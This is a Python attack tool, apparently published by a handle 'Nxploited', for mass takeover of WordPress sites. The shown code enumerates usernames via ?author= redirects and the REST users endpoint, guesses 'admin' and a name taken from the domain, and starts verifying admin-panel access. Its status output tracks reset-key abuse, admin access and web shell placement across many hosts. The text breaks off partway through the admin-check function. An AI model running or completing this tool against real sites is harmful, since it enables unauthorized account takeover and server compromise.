#!/usr/bin/env python3 #By: Nxploited # -*- coding: utf-8 -*- import os import re import sys import time import random from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse, urlparse as parse_url, parse_qs import requests import urllib3 from rich.console import Console from rich.panel import Panel from rich.theme import Theme from colorama import init as colorama_init # type: ignore urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() colorama_init(autoreset=True) # ------------------------ Rich console ------------------------ theme = Theme( { "info": "cyan", "ok": "bold green", "warn": "bold yellow", "err": "bold red", "host": "bold magenta", "label": "bold white", "dim": "dim", } ) console = Console(theme=theme) # ------------------------ Banner ------------------------- BANNER_ASCII = r""" ____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____ / _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \ | / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \| | \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/| \____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/ """ def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") banner_panel = Panel.fit( BANNER_ASCII.strip("\n"), title="[ok]WP Reset & Strict Access Assistant[/ok]", subtitle="High-signal • Silent • Precise", border_style="magenta", padding=(1, 2), ) console.print(banner_panel) console.print( Panel( "[label]By: [bold]Nxploited[/bold] | GitHub: " "[link=https://github.com/Nxploited]github.com/Nxploited[/link] | " "Telegram: [bold blue]@KNxploited[/bold blue][/label]", border_style="cyan", ) ) console.print() def format_site_status( base: str, key_status_core: str, reset_status_core: str, access_core: str, key_status_pb: str, reset_status_pb: str, access_pb: str, shell_status: str, ) -> None: login_url = base.rstrip("/") + "/wp-login.php" line = ( f"[host]{base}[/host] " f"[label]CORE:[/label] KEY={key_status_core:<4}, RESET={reset_status_core:<4}, ACCESS={access_core:<3} | " f"[label]PB:[/label] KEY={key_status_pb:<4}, RESET={reset_status_pb:<4}, ACCESS={access_pb:<3} | " f"[label]SHELL:[/label] {shell_status:<8} | " f"[label]LOGIN:[/label] {login_url}" ) if shell_status == "OK": style = "ok" elif access_core != "0" or access_pb != "0": style = "ok" elif key_status_core == "FAIL" and key_status_pb == "FAIL": style = "err" else: style = "warn" console.print(line, style=style) def log_note(msg: str) -> None: console.print(f"[*] {msg}", style="info") def log_warn(msg: str) -> None: console.print(f"[!] {msg}", style="warn") def log_err(msg: str) -> None: console.print(f"[x] {msg}", style="err") def log_done(msg: str) -> None: console.print(f"[+] {msg}", style="ok") # -------------------------------------------------------- # Helpers: URLs / Sessions / User-Agent # -------------------------------------------------------- USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0', ] def get_random_user_agent() -> str: return random.choice(USER_AGENTS) def split_wp_base(url: str) -> Tuple[str, str]: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.headers.update({ "User-Agent": get_random_user_agent(), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", }) adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1) s.mount("http://", adapter) s.mount("https://", adapter) return s def get_wp_base_path(login_path: str) -> str: if login_path == "/wp-login.php": return "" return login_path.replace("/wp-login.php", "") # -------------------------------------------------------- # Username enumeration (كما في نسختك السابقة) # -------------------------------------------------------- AUTHOR_PATTERN = re.compile(r"/author/([^/]+)") AUTHOR_BODY_PATTERNS = [ re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I), re.compile(r"/author/([a-z0-9_\-]+)/", re.I), re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I), re.compile(r'"username":"([a-z0-9_\-]+)"', re.I), ] def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]: users: Set[str] = set() for i in range(1, max_i + 1): try: u = f"{root_url}/?author={i}" r = sess.get(u, timeout=timeout, allow_redirects=False) if r.status_code in (301, 302): loc = r.headers.get("location", "") or r.headers.get("Location", "") m = AUTHOR_PATTERN.search(loc) if m: users.add(m.group(1)) r2 = sess.get(u, timeout=timeout, allow_redirects=True) if r2.status_code == 200 and r2.text: body = r2.text for patt in AUTHOR_BODY_PATTERNS: for x in patt.findall(body): users.add(x) except Exception: continue return users def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]: users: Set[str] = set() api = root_url.rstrip("/") + "/wp-json/wp/v2/users" try: r = sess.get(api, timeout=timeout) except Exception: return users if r.status_code != 200: return users try: data = r.json() except Exception: return users if isinstance(data, list): for entry in data: if isinstance(entry, dict): for key in ("slug", "username", "name"): v = entry.get(key) if v: users.add(str(v)) return users def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]: sess = build_session(timeout) root = build_wp_url(base_host, wp_base, "/") users: Set[str] = set() users.update(enum_by_author(sess, root, timeout, max_i=10)) users.update(enum_by_rest(sess, root, timeout)) parsed = urlparse(root) host = parsed.netloc.split(":")[0].lower() if host.startswith("www."): host = host[4:] first_label = host.split(".")[0] if first_label and len(first_label) > 2: users.add(first_label) users.add("admin") users = {u for u in users if u and 2 < len(u) < 50} if not users: users = {"admin"} return sorted(users) # -------------------------------------------------------- # Strict admin access verification + login # -------------------------------------------------------- def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '